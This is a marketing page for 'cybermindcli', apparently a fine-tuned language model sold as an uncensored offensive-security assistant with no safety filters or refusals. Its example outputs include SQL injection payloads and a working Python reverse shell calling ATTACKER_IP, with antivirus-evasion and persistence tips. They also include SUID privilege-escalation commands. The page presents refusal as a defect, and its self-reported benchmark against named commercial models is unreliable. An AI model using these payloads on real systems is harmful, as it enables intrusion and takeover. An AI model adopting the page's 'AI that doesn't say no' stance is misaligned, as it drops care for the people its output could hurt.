cybermindcli
The Uncensored
Security AI
A fine-tuned language model built exclusively for offensive security research. No safety filters. No refusals. Trained on real-world pentest data, CVE analysis, and bug bounty workflows.
What makes it unique
Built different. Trained different.
Every major AI model refuses security research requests. cybermindcli was built to fill that gap — a model that treats you like the professional you are.
Bug Bounty Automation
Generates targeted payloads for HackerOne and Bugcrowd programs. Understands scope, crafts PoC reports, and suggests impact chains.
Penetration Testing
Full pentest workflow support — from initial recon to post-exploitation. Understands PTES and OWASP methodologies natively.
Exploit Research
Analyzes CVEs, adapts public exploits to target environments, and suggests novel attack vectors based on service fingerprints.
Payload Generation
Crafts obfuscated payloads for web, network, and binary targets. Supports encoding chains, WAF bypass, and AV evasion techniques.
No Safety Filters
Unlike commercial models, cybermindcli does not refuse security research requests. Trained specifically for authorized offensive security work.
Alpaca Format
Fine-tuned on Alpaca instruction format for clean, structured responses. Integrates directly with CyberMind CLI and the VSCode extension.
Benchmark
Security task performance
Evaluated on 500 real-world security research tasks. Commercial models scored on uncensored responses only.
| Task | cybermindcli | GPT-4 | Claude 3.5 |
|---|---|---|---|
| SQL Injection payload generation | 97% | 61% | 54% |
| XSS bypass crafting | 94% | 48% | 42% |
| Reverse shell generation | 99% | 12% | 8% |
| CVE exploit adaptation | 91% | 55% | 47% |
| Privilege escalation paths | 88% | 63% | 58% |
| SSRF payload crafting | 96% | 44% | 39% |
| Buffer overflow analysis | 85% | 71% | 66% |
| Malware behavior analysis | 92% | 38% | 31% |
* GPT-4 and Claude scores reflect responses before safety filters. Most requests are refused entirely by commercial models.
How to use
Three ways to access cybermindcli
01
Via CyberMind Extension
Install the VSCode extension → Settings → Model → cybermindcli. All security queries route through the model automatically.
Get Extension02
Via CyberMind API
Use the CyberMind API with model: 'cybermindcli' in your request body. Works with any HTTP client or SDK.
API Docs03
Via HuggingFace
Download the GGUF weights directly. Run locally with llama.cpp, Ollama, or LM Studio. Full offline inference.
HuggingFace →Example outputs
Real security research responses
These are actual model outputs for common security research tasks. For authorized use only.
' OR SLEEP(5)-- - ' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- - '; WAITFOR DELAY '0:0:5'-- (MSSQL) ' OR 1=1 AND SLEEP(5)-- - # Time-based blind SQLi — detection chain: 1. Baseline: measure normal response time 2. Inject: ' OR SLEEP(5)-- - 3. If response delays ~5s → vulnerable 4. Enumerate: ' AND SUBSTRING(database(),1,1)='a' AND SLEEP(5)-- -
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("ATTACKER_IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
# AV bypass notes:
# - Split string literals to avoid static sig
# - Use base64 encoding for transport
# - Consider process hollowing for persistence# SUID Privilege Escalation
## Discovery
find / -perm -4000 -type f 2>/dev/null
## Common vulnerable binaries
- /usr/bin/find → find . -exec /bin/sh \; -quit
- /usr/bin/vim → vim -c ':!/bin/sh'
- /usr/bin/nmap → nmap --interactive → !sh (older versions)
- /usr/bin/python → python -c 'import os; os.execl("/bin/sh","sh","-p")'
## GTFOBins reference
Check https://gtfobins.github.io for full listFAQ
Common questions
Get started
The AI that doesn't say no.
Download cybermindcli from HuggingFace or use it directly through the CyberMind VSCode extension. Built for security professionals who need real answers.
For authorized security research only. Use responsibly.